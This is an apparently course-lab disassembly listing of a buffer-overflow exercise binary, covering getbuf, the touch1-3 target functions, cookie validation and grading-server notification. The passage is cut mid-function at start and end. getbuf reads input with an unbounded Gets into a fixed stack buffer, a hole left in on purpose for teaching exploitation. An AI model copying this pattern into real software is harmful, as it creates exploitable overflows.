4016da: 8b 44 24 e8 mov -0x18(%rsp),%eax

4016de: 69 c0 5d 4e 00 00 imul $0x4e5d,%eax,%eax

4016e4: 89 44 24 e8 mov %eax,-0x18(%rsp)

4016e8: 8b 44 24 e8 mov -0x18(%rsp),%eax

4016ec: 69 c0 67 72 00 00 imul $0x7267,%eax,%eax

4016f2: 89 44 24 e8 mov %eax,-0x18(%rsp)

4016f6: 8b 44 24 f0 mov -0x10(%rsp),%eax

4016fa: 69 c0 ac d2 00 00 imul $0xd2ac,%eax,%eax

401700: 89 44 24 f0 mov %eax,-0x10(%rsp)

401704: 8b 44 24 ec mov -0x14(%rsp),%eax

401708: 69 c0 a5 83 00 00 imul $0x83a5,%eax,%eax

40170e: 89 44 24 ec mov %eax,-0x14(%rsp)

401712: 8b 44 24 e4 mov -0x1c(%rsp),%eax

401716: 69 c0 94 e0 00 00 imul $0xe094,%eax,%eax

40171c: 89 44 24 e4 mov %eax,-0x1c(%rsp)

401720: 8b 44 24 f0 mov -0x10(%rsp),%eax

401724: 69 c0 e7 0a 00 00 imul $0xae7,%eax,%eax

40172a: 89 44 24 f0 mov %eax,-0x10(%rsp)

40172e: 8b 44 24 ec mov -0x14(%rsp),%eax

401732: 69 c0 dc 89 00 00 imul $0x89dc,%eax,%eax

401738: 89 44 24 ec mov %eax,-0x14(%rsp)

40173c: 8b 44 24 e8 mov -0x18(%rsp),%eax

401740: 69 c0 03 56 00 00 imul $0x5603,%eax,%eax

401746: 89 44 24 e8 mov %eax,-0x18(%rsp)

40174a: 8b 44 24 e0 mov -0x20(%rsp),%eax

40174e: 69 c0 11 bc 00 00 imul $0xbc11,%eax,%eax

401754: 89 44 24 e0 mov %eax,-0x20(%rsp)

401758: 8b 44 24 d8 mov -0x28(%rsp),%eax

40175c: 69 c0 6a 1d 00 00 imul $0x1d6a,%eax,%eax

401762: 89 44 24 d8 mov %eax,-0x28(%rsp)

401766: 8b 44 24 dc mov -0x24(%rsp),%eax

40176a: 69 c0 ab 83 00 00 imul $0x83ab,%eax,%eax

401770: 89 44 24 dc mov %eax,-0x24(%rsp)

401774: 8b 44 24 ec mov -0x14(%rsp),%eax

401778: 69 c0 db b2 00 00 imul $0xb2db,%eax,%eax

40177e: 89 44 24 ec mov %eax,-0x14(%rsp)

401782: 8b 44 24 dc mov -0x24(%rsp),%eax

401786: 69 c0 95 c3 00 00 imul $0xc395,%eax,%eax

40178c: 89 44 24 dc mov %eax,-0x24(%rsp)

401790: 8b 44 24 f4 mov -0xc(%rsp),%eax

401794: 69 c0 1a 25 00 00 imul $0x251a,%eax,%eax

40179a: 89 44 24 f4 mov %eax,-0xc(%rsp)

40179e: ba 00 00 00 00 mov $0x0,%edx

4017a3: b8 00 00 00 00 mov $0x0,%eax

4017a8: eb 0b jmp 4017b5 <scramble+0x512>

4017aa: 89 d1 mov %edx,%ecx

4017ac: 8b 4c 8c d0 mov -0x30(%rsp,%rcx,4),%ecx

4017b0: 01 c8 add %ecx,%eax

4017b2: 83 c2 01 add $0x1,%edx

4017b5: 83 fa 09 cmp $0x9,%edx

4017b8: 76 f0 jbe 4017aa <scramble+0x507>

4017ba: f3 c3 repz retq

00000000004017bc <getbuf>:

4017bc: 48 83 ec 38 sub $0x38,%rsp

4017c0: 48 89 e7 mov %rsp,%rdi

4017c3: e8 32 02 00 00 callq 4019fa <Gets>

4017c8: b8 01 00 00 00 mov $0x1,%eax

4017cd: 48 83 c4 38 add $0x38,%rsp

4017d1: c3 retq

00000000004017d2 <touch1>:

4017d2: 48 83 ec 08 sub $0x8,%rsp

4017d6: c7 05 1c 2d 20 00 01 movl $0x1,0x202d1c(%rip) # 6044fc <vlevel>

4017dd: 00 00 00

4017e0: bf 62 2f 40 00 mov $0x402f62,%edi

4017e5: e8 66 f4 ff ff callq 400c50 <puts@plt>

4017ea: bf 01 00 00 00 mov $0x1,%edi

4017ef: e8 f5 03 00 00 callq 401be9 <validate>

4017f4: bf 00 00 00 00 mov $0x0,%edi

4017f9: e8 f2 f5 ff ff callq 400df0 <exit@plt>

00000000004017fe <touch2>:

4017fe: 48 83 ec 08 sub $0x8,%rsp

401802: 89 fe mov %edi,%esi

401804: c7 05 ee 2c 20 00 02 movl $0x2,0x202cee(%rip) # 6044fc <vlevel>

40180b: 00 00 00

40180e: 3b 3d f0 2c 20 00 cmp 0x202cf0(%rip),%edi # 604504 <cookie>

401814: 75 1b jne 401831 <touch2+0x33>

401816: bf 88 2f 40 00 mov $0x402f88,%edi

40181b: b8 00 00 00 00 mov $0x0,%eax

401820: e8 5b f4 ff ff callq 400c80 <printf@plt>

401825: bf 02 00 00 00 mov $0x2,%edi

40182a: e8 ba 03 00 00 callq 401be9 <validate>

40182f: eb 19 jmp 40184a <touch2+0x4c>

401831: bf b0 2f 40 00 mov $0x402fb0,%edi

401836: b8 00 00 00 00 mov $0x0,%eax

40183b: e8 40 f4 ff ff callq 400c80 <printf@plt>

401840: bf 02 00 00 00 mov $0x2,%edi

401845: e8 51 04 00 00 callq 401c9b <fail>

40184a: bf 00 00 00 00 mov $0x0,%edi

40184f: e8 9c f5 ff ff callq 400df0 <exit@plt>

0000000000401854 <hexmatch>:

401854: 41 54 push %r12

401856: 55 push %rbp

401857: 53 push %rbx

401858: 48 83 ec 70 sub $0x70,%rsp

40185c: 41 89 fc mov %edi,%r12d

40185f: 48 89 f5 mov %rsi,%rbp

401862: e8 e9 f4 ff ff callq 400d50 <random@plt>

401867: 48 89 c1 mov %rax,%rcx

40186a: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx

401871: 0a d7 a3

401874: 48 f7 ea imul %rdx

401877: 48 8d 04 0a lea (%rdx,%rcx,1),%rax

40187b: 48 c1 f8 06 sar $0x6,%rax

40187f: 48 89 ce mov %rcx,%rsi

401882: 48 c1 fe 3f sar $0x3f,%rsi

401886: 48 29 f0 sub %rsi,%rax

401889: 48 8d 04 80 lea (%rax,%rax,4),%rax

40188d: 48 8d 04 80 lea (%rax,%rax,4),%rax

401891: 48 c1 e0 02 shl $0x2,%rax

401895: 48 29 c1 sub %rax,%rcx

401898: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx

40189c: 44 89 e2 mov %r12d,%edx

40189f: be 7f 2f 40 00 mov $0x402f7f,%esi

4018a4: 48 89 df mov %rbx,%rdi

4018a7: b8 00 00 00 00 mov $0x0,%eax

4018ac: e8 2f f5 ff ff callq 400de0 <sprintf@plt>

4018b1: ba 09 00 00 00 mov $0x9,%edx

4018b6: 48 89 de mov %rbx,%rsi

4018b9: 48 89 ef mov %rbp,%rdi

4018bc: e8 6f f3 ff ff callq 400c30 <strncmp@plt>

4018c1: 85 c0 test %eax,%eax

4018c3: 0f 94 c0 sete %al

4018c6: 0f b6 c0 movzbl %al,%eax

4018c9: 48 83 c4 70 add $0x70,%rsp

4018cd: 5b pop %rbx

4018ce: 5d pop %rbp

4018cf: 41 5c pop %r12

4018d1: c3 retq

00000000004018d2 <touch3>:

4018d2: 53 push %rbx

4018d3: 48 89 fb mov %rdi,%rbx

4018d6: c7 05 1c 2c 20 00 03 movl $0x3,0x202c1c(%rip) # 6044fc <vlevel>

4018dd: 00 00 00

4018e0: 48 89 fe mov %rdi,%rsi

4018e3: 8b 3d 1b 2c 20 00 mov 0x202c1b(%rip),%edi # 604504 <cookie>

4018e9: e8 66 ff ff ff callq 401854 <hexmatch>

4018ee: 85 c0 test %eax,%eax

4018f0: 74 1e je 401910 <touch3+0x3e>

4018f2: 48 89 de mov %rbx,%rsi

4018f5: bf d8 2f 40 00 mov $0x402fd8,%edi

4018fa: b8 00 00 00 00 mov $0x0,%eax

4018ff: e8 7c f3 ff ff callq 400c80 <printf@plt>

401904: bf 03 00 00 00 mov $0x3,%edi

401909: e8 db 02 00 00 callq 401be9 <validate>

40190e: eb 1c jmp 40192c <touch3+0x5a>

401910: 48 89 de mov %rbx,%rsi

401913: bf 00 30 40 00 mov $0x403000,%edi

401918: b8 00 00 00 00 mov $0x0,%eax

40191d: e8 5e f3 ff ff callq 400c80 <printf@plt>

401922: bf 03 00 00 00 mov $0x3,%edi

401927: e8 6f 03 00 00 callq 401c9b <fail>

40192c: bf 00 00 00 00 mov $0x0,%edi

401931: e8 ba f4 ff ff callq 400df0 <exit@plt>

0000000000401936 <test>:

401936: 48 83 ec 08 sub $0x8,%rsp

40193a: b8 00 00 00 00 mov $0x0,%eax

40193f: e8 78 fe ff ff callq 4017bc <getbuf>

401944: 89 c6 mov %eax,%esi

401946: bf 28 30 40 00 mov $0x403028,%edi

40194b: b8 00 00 00 00 mov $0x0,%eax

401950: e8 2b f3 ff ff callq 400c80 <printf@plt>

401955: 48 83 c4 08 add $0x8,%rsp

401959: c3 retq

40195a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)

0000000000401960 <save\_char>:

401960: 8b 05 be 37 20 00 mov 0x2037be(%rip),%eax # 605124 <gets\_cnt>

401966: 3d ff 03 00 00 cmp $0x3ff,%eax

40196b: 7f 49 jg 4019b6 <save\_char+0x56>

40196d: 8d 14 40 lea (%rax,%rax,2),%edx

401970: 89 f9 mov %edi,%ecx

401972: c0 e9 04 shr $0x4,%cl

401975: 83 e1 0f and $0xf,%ecx

401978: 0f b6 b1 50 33 40 00 movzbl 0x403350(%rcx),%esi

40197f: 48 63 ca movslq %edx,%rcx

401982: 40 88 b1 20 45 60 00 mov %sil,0x604520(%rcx)

401989: 8d 4a 01 lea 0x1(%rdx),%ecx

40198c: 83 e7 0f and $0xf,%edi

40198f: 0f b6 b7 50 33 40 00 movzbl 0x403350(%rdi),%esi

401996: 48 63 c9 movslq %ecx,%rcx

401999: 40 88 b1 20 45 60 00 mov %sil,0x604520(%rcx)

4019a0: 83 c2 02 add $0x2,%edx

4019a3: 48 63 d2 movslq %edx,%rdx

4019a6: c6 82 20 45 60 00 20 movb $0x20,0x604520(%rdx)

4019ad: 83 c0 01 add $0x1,%eax

4019b0: 89 05 6e 37 20 00 mov %eax,0x20376e(%rip) # 605124 <gets\_cnt>

4019b6: f3 c3 repz retq

00000000004019b8 <save\_term>:

4019b8: 8b 05 66 37 20 00 mov 0x203766(%rip),%eax # 605124 <gets\_cnt>

4019be: 8d 04 40 lea (%rax,%rax,2),%eax

4019c1: 48 98 cltq

4019c3: c6 80 20 45 60 00 00 movb $0x0,0x604520(%rax)

4019ca: c3 retq

00000000004019cb <check\_fail>:

4019cb: 48 83 ec 08 sub $0x8,%rsp

4019cf: 0f be 35 52 37 20 00 movsbl 0x203752(%rip),%esi # 605128 <target\_prefix>

4019d6: b9 20 45 60 00 mov $0x604520,%ecx

4019db: 8b 15 17 2b 20 00 mov 0x202b17(%rip),%edx # 6044f8 <check\_level>

4019e1: bf 4b 30 40 00 mov $0x40304b,%edi

4019e6: b8 00 00 00 00 mov $0x0,%eax

4019eb: e8 90 f2 ff ff callq 400c80 <printf@plt>

4019f0: bf 01 00 00 00 mov $0x1,%edi

4019f5: e8 f6 f3 ff ff callq 400df0 <exit@plt>

00000000004019fa <Gets>:

4019fa: 41 54 push %r12

4019fc: 55 push %rbp

4019fd: 53 push %rbx

4019fe: 49 89 fc mov %rdi,%r12

401a01: c7 05 19 37 20 00 00 movl $0x0,0x203719(%rip) # 605124 <gets\_cnt>

401a08: 00 00 00

401a0b: 48 89 fb mov %rdi,%rbx

401a0e: eb 11 jmp 401a21 <Gets+0x27>

401a10: 48 8d 6b 01 lea 0x1(%rbx),%rbp

401a14: 88 03 mov %al,(%rbx)

401a16: 0f b6 f8 movzbl %al,%edi

401a19: e8 42 ff ff ff callq 401960 <save\_char>

401a1e: 48 89 eb mov %rbp,%rbx

401a21: 48 8b 3d c8 2a 20 00 mov 0x202ac8(%rip),%rdi # 6044f0 <infile>

401a28: e8 33 f3 ff ff callq 400d60 <\_IO\_getc@plt>

401a2d: 83 f8 ff cmp $0xffffffff,%eax

401a30: 74 05 je 401a37 <Gets+0x3d>

401a32: 83 f8 0a cmp $0xa,%eax

401a35: 75 d9 jne 401a10 <Gets+0x16>

401a37: c6 03 00 movb $0x0,(%rbx)

401a3a: b8 00 00 00 00 mov $0x0,%eax

401a3f: e8 74 ff ff ff callq 4019b8 <save\_term>

401a44: 4c 89 e0 mov %r12,%rax

401a47: 5b pop %rbx

401a48: 5d pop %rbp

401a49: 41 5c pop %r12

401a4b: c3 retq

0000000000401a4c <notify\_server>:

401a4c: 83 3d b5 2a 20 00 00 cmpl $0x0,0x202ab5(%rip) # 604508 <is\_checker>

401a53: 0f 85 8e 01 00 00 jne 401be7 <notify\_server+0x19b>

401a59: 53 push %rbx

401a5a: 48 81 ec 10 40 00 00 sub $0x4010,%rsp

401a61: 89 fb mov %edi,%ebx

401a63: 8b 05 bb 36 20 00 mov 0x2036bb(%rip),%eax # 605124 <gets\_cnt>

401a69: 83 c0 64 add $0x64,%eax

401a6c: 3d 00 20 00 00 cmp $0x2000,%eax

401a71: 7e 19 jle 401a8c <notify\_server+0x40>

401a73: bf 80 31 40 00 mov $0x403180,%edi

401a78: b8 00 00 00 00 mov $0x0,%eax

401a7d: e8 fe f1 ff ff callq 400c80 <printf@plt>

401a82: bf 01 00 00 00 mov $0x1,%edi

401a87: e8 64 f3 ff ff callq 400df0 <exit@plt>

401a8c: 44 0f be 0d 94 36 20 movsbl 0x203694(%rip),%r9d # 605128 <target\_prefix>

401a93: 00

401a94: 83 3d 0d 2a 20 00 00 cmpl $0x0,0x202a0d(%rip) # 6044a8 <notify>

401a9b: 74 09 je 401aa6 <notify\_server+0x5a>

401a9d: 44 8b 05 5c 2a 20 00 mov 0x202a5c(%rip),%r8d # 604500 <authkey>

401aa4: eb 06 jmp 401aac <notify\_server+0x60>

401aa6: 41 b8 ff ff ff ff mov $0xffffffff,%r8d

401aac: 85 db test %ebx,%ebx

401aae: 74 07 je 401ab7 <notify\_server+0x6b>

401ab0: b9 61 30 40 00 mov $0x403061,%ecx

401ab5: eb 05 jmp 401abc <notify\_server+0x70>

401ab7: b9 66 30 40 00 mov $0x403066,%ecx

401abc: 48 c7 44 24 08 20 45 movq $0x604520,0x8(%rsp)

401ac3: 60 00

401ac5: 89 34 24 mov %esi,(%rsp)

401ac8: 8b 15 9a 26 20 00 mov 0x20269a(%rip),%edx # 604168 <target\_id>

401ace: be 6b 30 40 00 mov $0x40306b,%esi

401ad3: 48 8d bc 24 10 20 00 lea 0x2010(%rsp),%rdi

401ada: 00

401adb: b8 00 00 00 00 mov $0x0,%eax

401ae0: e8 fb f2 ff ff callq 400de0 <sprintf@plt>

401ae5: 83 3d bc 29 20 00 00 cmpl $0x0,0x2029bc(%rip) # 6044a8 <notify>

401aec: 74 78 je 401b66 <notify\_server+0x11a>

401aee: 85 db test %ebx,%ebx

401af0: 74 68 je 401b5a <notify\_server+0x10e>

401af2: 4c 8d 4c 24 10 lea 0x10(%rsp),%r9

401af7: 41 b8 00 00 00 00 mov $0x0,%r8d

401afd: 48 8d 8c 24 10 20 00 lea 0x2010(%rsp),%rcx

401b04: 00

401b05: 48 8b 15 64 26 20 00 mov 0x202664(%rip),%rdx # 604170 <lab>

401b0c: 48 8b 35 65 26 20 00 mov 0x202665(%rip),%rsi # 604178 <course>

401b13: 48 8b 3d 46 26 20 00 mov 0x202646(%rip),%rdi # 604160 <user\_id>

401b1a: e8 94 0f 00 00 callq 402ab3 <driver\_post>

401b1f: 85 c0 test %eax,%eax

401b21: 79 1e jns 401b41 <notify\_server+0xf5>

401b23: 48 8d 74 24 10 lea 0x10(%rsp),%rsi

401b28: bf 87 30 40 00 mov $0x403087,%edi

401b2d: b8 00 00 00 00 mov $0x0,%eax

401b32: e8 49 f1 ff ff callq 400c80 <printf@plt>

401b37: bf 01 00 00 00 mov $0x1,%edi

401b3c: e8 af f2 ff ff callq 400df0 <exit@plt>

401b41: bf b0 31 40 00 mov $0x4031b0,%edi

401b46: e8 05 f1 ff ff callq 400c50 <puts@plt>

401b4b: bf 93 30 40 00 mov $0x403093,%edi

401b50: e8 fb f0 ff ff callq 400c50 <puts@plt>

401b55: e9 85 00 00 00 jmpq 401bdf <notify\_server+0x193>

401b5a: bf 9d 30 40 00 mov $0x40309d,%edi

401b5f: e8 ec f0 ff ff callq 400c50 <puts@plt>

401b64: eb 79 jmp 401bdf <notify\_server+0x193>

401b66: 85 db test %ebx,%ebx

401b68: 74 08 je 401b72 <notify\_server+0x126>

401b6a: be 61 30 40 00 mov $0x403061,%esi

401b6f: 90 nop

401b70: eb 05 jmp 401b77 <notify\_server+0x12b>

401b72: be 66 30 40 00 mov $0x403066,%esi

401b77: bf e8 31 40 00 mov $0x4031e8,%edi

401b7c: b8 00 00 00 00 mov $0x0,%eax

401b81: e8 fa f0 ff ff callq 400c80 <printf@plt>

401b86: 48 8b 35 d3 25 20 00 mov 0x2025d3(%rip),%rsi # 604160 <user\_id>

401b8d: bf a4 30 40 00 mov $0x4030a4,%edi

401b92: b8 00 00 00 00 mov $0x0,%eax

401b97: e8 e4 f0 ff ff callq 400c80 <printf@plt>

401b9c: 48 8b 35 d5 25 20 00 mov 0x2025d5(%rip),%rsi # 604178 <course>

401ba3: bf b1 30 40 00 mov $0x4030b1,%edi

401ba8: b8 00 00 00 00 mov $0x0,%eax

401bad: e8 ce f0 ff ff callq 400c80 <printf@plt>

401bb2: 48 8b 35 b7 25 20 00 mov 0x2025b7(%rip),%rsi # 604170 <lab>

401bb9: bf bd 30 40 00 mov $0x4030bd,%edi

401bbe: b8 00 00 00 00 mov $0x0,%eax

401bc3: e8 b8 f0 ff ff callq 400c80 <printf@plt>

401bc8: 48 8d b4 24 10 20 00 lea 0x2010(%rsp),%rsi

401bcf: 00

401bd0: bf c6 30 40 00 mov $0x4030c6,%edi

401bd5: b8 00 00 00 00 mov $0x0,%eax

401bda: e8 a1 f0 ff ff callq 400c80 <printf@plt>

401bdf: 48 81 c4 10 40 00 00 add $0x4010,%rsp

401be6: 5b pop %rbx

401be7: f3 c3 repz retq

0000000000401be9 <validate>:

401be9: 53 push %rbx

401bea: 89 fb mov %edi,%ebx

401bec: 83 3d 15 29 20 00 00 cmpl $0x0,0x202915(%rip) # 604508 <is\_checker>

401bf3: 74 60 je 401c55 <validate+0x6c>

401bf5: 39 3d 01 29 20 00 cmp %edi,0x202901(%rip) # 6044fc <vlevel>

401bfb: 74 14 je 401c11 <validate+0x28>

401bfd: bf d2 30 40 00 mov $0x4030d2,%edi

401c02: e8 49 f0 ff ff callq 400c50 <puts@plt>

401c07: b8 00 00 00 00 mov $0x0,%eax

401c0c: e8 ba fd ff ff callq 4019cb <check\_fail>

401c11: 8b 35 e1 28 20 00 mov 0x2028e1(%rip),%esi # 6044f8 <check\_level>

401c17: 39 fe cmp %edi,%esi

401c19: 74 1b je 401c36 <validate+0x4d>

401c1b: 89 fa mov %edi,%edx

401c1d: bf 10 32 40 00 mov $0x403210,%edi

401c22: b8 00 00 00 00 mov $0x0,%eax

401c27: e8 54 f0 ff ff callq 400c80 <printf@plt>

401c2c: b8 00 00 00 00 mov $0x0,%eax

401c31: e8 95 fd ff ff callq 4019cb <check\_fail>

401c36: 0f be 35 eb 34 20 00 movsbl 0x2034eb(%rip),%esi # 605128 <target\_prefix>

401c3d: b9 20 45 60 00 mov $0x604520,%ecx

401c42: 89 fa mov %edi,%edx

401c44: bf f0 30 40 00 mov $0x4030f0,%edi

401c49: b8 00 00 00 00 mov $0x0,%eax

401c4e: e8 2d f0 ff ff callq 400c80 <printf@plt>

401c53: eb 44 jmp 401c99 <validate+0xb0>

401c55: 39 3d a1 28 20 00 cmp %edi,0x2028a1(%rip) # 6044fc <vlevel>

401c5b: 74 18 je 401c75 <validate+0x8c>

401c5d: bf d2 30 40 00 mov $0x4030d2,%edi

401c62: e8 e9 ef ff ff callq 400c50 <puts@plt>

401c67: 89 de mov %ebx,%esi

401c69: bf 00 00 00 00 mov $0x0,%edi

401c6e: e8 d9 fd ff ff callq 401a4c <notify\_server>

401c73: eb 24 jmp 401c99 <validate+0xb0>

401c75: 0f be 15 ac 34 20 00 movsbl 0x2034ac(%rip),%edx # 605128 <target\_prefix>

401c7c: 89 fe mov %edi,%esi

401c7e: bf 38 32 40 00 mov $0x403238,%edi

401c83: b8 00 00 00 00 mov $0x0,%eax

401c88: e8 f3 ef ff ff callq 400c80 <printf@plt>

401c8d: 89 de mov %ebx,%esi

401c8f: bf 01 00 00 00 mov $0x1,%edi

401c94: e8 b3 fd ff ff callq 401a4c <notify\_server>

401c99: 5b pop %rbx

401c9a: c3 retq

0000000000401c9b <fail>:

401c9b: 48 83 ec 08 sub $0x8,%rsp

401c9f: 83 3d 62 28 20 00 00 cmpl $0x0,0x202862(%rip) # 604508 <is\_checker>

401ca6: 74 0a je 401cb2 <fail+0x17>

401ca8: b8 00 00 00 00 mov $0x0,%eax

401cad: e8 19 fd ff ff callq 4019cb <check\_fail>

401cb2: 89 fe mov %edi,%esi

401cb4: bf 00 00 00 00 mov $0x0,%edi

401cb9: e8 8e fd ff ff callq 401a4c <notify\_server>

401cbe: 48 83 c4 08 add $0x8,%rsp

401cc2: c3 retq

0000000000401cc3 <bushandler>:

401cc3: 48 83 ec 08 sub $0x8,%rsp

401cc7: 83 3d 3a 28 20 00 00 cmpl $0x0,0x20283a(%rip) # 604508 <is\_checker>

401cce: 74 14 je 401ce4 <bushandler+0x21>

401cd0: bf 05 31 40 00 mov $0x403105,%edi

401cd5: e8 76 ef ff ff callq 400c50 <puts@plt>

401cda: b8 00 00 00 00 mov $0x0,%eax

401cdf: e8 e7 fc ff ff callq 4019cb <check\_fail>

401ce4: bf 70 32 40 00 mov $0x403270,%edi

401ce9: e8 62 ef ff ff callq 400c50 <puts@plt>

401cee: bf 0f 31 40 00 mov $0x40310f,%edi

401cf3: e8 58 ef ff ff callq 400c50 <puts@plt>

401cf8: be 00 00 00 00 mov $0x0,%esi

401cfd: bf 00 00 00 00 mov $0x0,%edi

401d02: e8 45 fd ff ff callq 401a4c <notify\_server>

401d07: bf 01 00 00 00 mov $0x1,%edi

401d0c: e8 df f0 ff ff callq 400df0 <exit@plt>

0000000000401d11 <seghandler>:

401d11: 48 83 ec 08 sub $0x8,%rsp

401d15: 83 3d ec 27 20 00 00 cmpl $0x0,0x2027ec(%rip) # 604508 <is\_checker>

401d1c: 74 14 je 401d32 <seghandler+0x21>

401d1e: bf 25 31 40 00 mov $0x403125,%edi

401d23: e8 28 ef ff ff callq 400c50 <puts@plt>

401d28: b8 00 00 00 00 mov $0x0,%eax

401d2d: e8 99 fc ff ff callq 4019cb <check\_fail>

401d32: bf 90 32 40 00 mov $0x403290,%edi

401d37: e8 14 ef ff ff callq 400c50 <puts@plt>

401d3c: bf 0f 31 40 00 mov $0x40310f,%edi

401d41: e8 0a ef ff ff callq 400c50 <puts@plt>

401d46: be 00 00 00 00 mov $0x0,%esi

401d4b: bf 00 00 00 00 mov $0x0,%edi

401d50: e8 f7 fc ff ff callq 401a4c <notify\_server>

401d55: bf 01 00 00 00 mov $0x1,%edi

401d5a: e8 91 f0 ff ff callq 400df0 <exit@plt>

0000000000401d5f <illegalhandler>:

401d5f: 48 83 ec 08 sub $0x8,%rsp

401d63: 83 3d 9e 27 20 00 00 cmpl $0x0,0x20279e(%rip) # 604508 <is\_checker>

401d6a: 74 14 je 401d80 <illegalhandler+0x21>

401d6c: bf 38 31 40 00 mov $0x403138,%edi

401d71: e8 da ee ff ff callq 400c50 <puts@plt>

401d76: b8 00 00 00 00 mov $0x0,%eax

401d7b: e8 4b fc ff ff callq 4019cb <check\_fail>

401d80: bf b8 32 40 00 mov $0x4032b8,%edi

401d85: e8 c6 ee ff ff callq 400c50 <puts@plt>

401d8a: bf 0f 31 40 00 mov $0x40310f,%edi

401d8f: e8 bc ee ff ff callq 400c50 <puts@plt>

401d94: be 00 00 00 00 mov $0x0,%esi

401d99: bf 00 00 00 00 mov $0x0,%edi

401d9e: e8 a9 fc ff ff callq 401a4c <notify\_server>

401da3: bf 01 00 00 00 mov $0x1,%edi

401da8: e8 43 f0 ff ff callq 400df0 <exit@plt>

0000000000401dad <sigalrmhandler>:

401dad: 48 83 ec 08 sub $0x8,%rsp

401db1: 83 3d 50 27 20 00 00 cmpl $0x0,0x202750(%rip) # 604508 <is\_checker>

401db8: 74 14 je 401dce <sigalrmhandler+0x21>

401dba: bf 4c 31 40 00 mov $0x40314c,%edi

401dbf: e8 8c ee ff ff callq 400c50 <puts@plt>

401dc4: b8 00 00 00 00 mov $0x0,%eax

401dc9: e8 fd fb ff ff callq 4019cb <check\_fail>

401dce: be 05 00 00 00 mov $0x5,%esi

401dd3: bf e8 32 40 00 mov $0x4032e8,%edi

401dd8: b8 00 00 00 00 mov $0x0,%eax

401ddd: e8 9e ee ff ff callq 400c80 <printf@plt>

401de2: be 00 00 00 00 mov $0x0,%esi

401de7: bf 00 00 00 00 mov $0x0,%edi

401dec: e8 5b fc ff ff callq 401a4c <notify\_server>

401df1: bf 01 00 00 00 mov $0x1,%edi

401df6: e8 f5 ef ff ff callq 400df0 <exit@plt>

0000000000401dfb <launch>:

401dfb: 55 push %rbp

401dfc: 48 89 e5 mov %rsp,%rbp

401dff: 48 89 fa mov %rdi,%rdx

401e02: 48 8d 47 1e lea 0x1e(%rdi),%rax

401e06: 48 83 e0 f0 and $0xfffffffffffffff0,%rax

401e0a: 48 29 c4 sub %rax,%rsp

401e0d: 48 8d 7c 24 0f lea 0xf(%rsp),%rdi

401e12: 48 83 e7 f0 and $0xfffffffffffffff0,%rdi

401e16: be f4 00 00 00 mov $0xf4,%esi

401e1b: e8 70 ee ff ff callq 400c90 <memset@plt>

401e20: 48 8b 05 99 26 20 00 mov 0x202699(%rip),%rax # 6044c0 <stdin@@GLIBC\_2.2.5>

401e27: 48 39 05 c2 26 20 00 cmp %rax,0x2026c2(%rip) # 6044f0 <infile>

401e2e: 75 0f jne 401e3f <launch+0x44>

401e30: bf 54 31 40 00 mov $0x403154,%edi

401e35: b8 00 00 00 00 mov $0x0,%eax

401e3a: e8 41 ee ff ff callq 400c80 <printf@plt>

401e3f: c7 05 b3 26 20 00 00 movl $0x0,0x2026b3(%rip) # 6044fc <vlevel>

401e46: 00 00 00

401e49: b8 00 00 00 00 mov $0x0,%eax

401e4e: e8 e3 fa ff ff callq 401936 <test>

401e53: 83 3d ae 26 20 00 00 cmpl $0x0,0x2026ae(%rip) # 604508 <is\_checker>

401e5a: 74 14 je 401e70 <launch+0x75>

401e5c: bf 61 31 40 00 mov $0x403161,%edi

401e61: e8 ea ed ff ff callq 400c50 <puts@plt>

401e66: b8 00 00 00 00 mov $0x0,%eax

401e6b: e8 5b fb ff ff callq 4019cb <check\_fail>

401e70: bf 6c 31 40 00 mov $0x40316c,%edi

401e75: e8 d6 ed ff ff callq 400c50 <puts@plt>

401e7a: c9 leaveq

401e7b: c3 retq

0000000000401e7c <stable\_launch>:

401e7c: 53 push %rbx

401e7d: 48 89 3d 64 26 20 00 mov %rdi,0x202664(%rip) # 6044e8 <global\_offset>

401e84: 41 b9 00 00 00 00 mov $0x0,%r9d

401e8a: 41 b8 00 00 00 00 mov $0x0,%r8d

401e90: b9 32 01 00 00 mov $0x132,%ecx

401e95: ba 07 00 00 00 mov $0x7,%edx

401e9a: be 00 00 10 00 mov $0x100000,%esi

401e9f: bf 00 60 58 55 mov $0x55586000,%edi

401ea4: e8 c7 ed ff ff callq 400c70 <mmap@plt>

401ea9: 48 89 c3 mov %rax,%rbx

401eac: 48 3d 00 60 58 55 cmp $0x55586000,%rax

401eb2: 74 32 je 401ee6 <stable\_launch+0x6a>

401eb4: be 00 00 10 00 mov $0x100000,%esi

401eb9: 48 89 c7 mov %rax,%rdi

401ebc: e8 bf ee ff ff callq 400d80 <munmap@plt>

401ec1: ba 00 60 58 55 mov $0x55586000,%edx

401ec6: be 20 33 40 00 mov $0x403320,%esi

401ecb: 48 8b 3d fe 25 20 00 mov 0x2025fe(%rip),%rdi # 6044d0 <stderr@@GLIBC\_2.2.5>

401ed2: b8 00 00 00 00 mov $0x0,%eax

401ed7: e8 24 ee ff ff callq 400d00 <fprintf@plt>

401edc: bf 01 00 00 00 mov $0x1,%edi

401ee1: e8 0a ef ff ff callq 400df0 <exit@plt>

401ee6: 48 8d 90 f8 ff 0f 00 lea 0xffff8(%rax),%rdx

401eed: 48 89 15 3c 32 20 00 mov %rdx,0x20323c(%rip) # 605130 <stack\_top>

401ef4: 48 89 e0 mov %rsp,%rax

401ef7: 48 89 d4 mov %rdx,%rsp

401efa: 48 89 c2 mov %rax,%rdx

401efd: 48 89 15 dc 25 20 00 mov %rdx,0x2025dc(%rip) # 6044e0 <global\_save\_stack>

401f04: 48 8b 3d dd 25 20 00 mov 0x2025dd(%rip),%rdi # 6044e8 <global\_offset>

401f0b: e8 eb fe ff ff callq 401dfb <launch>

401f10: 48 8b 05 c9 25 20 00 mov 0x2025c9(%rip),%rax # 6044e0 <global\_save\_stack>

401f17: 48 89 c4 mov %rax,%rsp

401f1a: be 00 00 10 00 mov $0x100000,%esi

401f1f: 48 89 df mov %rbx,%rdi

401f22: e8 59 ee ff ff callq 400d80 <munmap@plt>

401f27: 5b pop %rbx

401f28: c3 retq

401f29: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)

0000000000401f30 <rio\_readinitb>:

401f30: 89 37 mov %esi,(%rdi)

401f32: c7 47 04 00 00 00 00 movl $0x0,0x4(%rdi)

401f39: 48 8d 47 10 lea 0x10(%rdi),%rax

401f3d: 48 89 47 08 mov %rax,0x8(%rdi)

401f41: c3 retq

0000000000401f42 <sigalrm\_handler>:

401f42: 48 83 ec 08 sub $0x8,%rsp

401f46: ba 00 00 00 00 mov $0x0,%edx

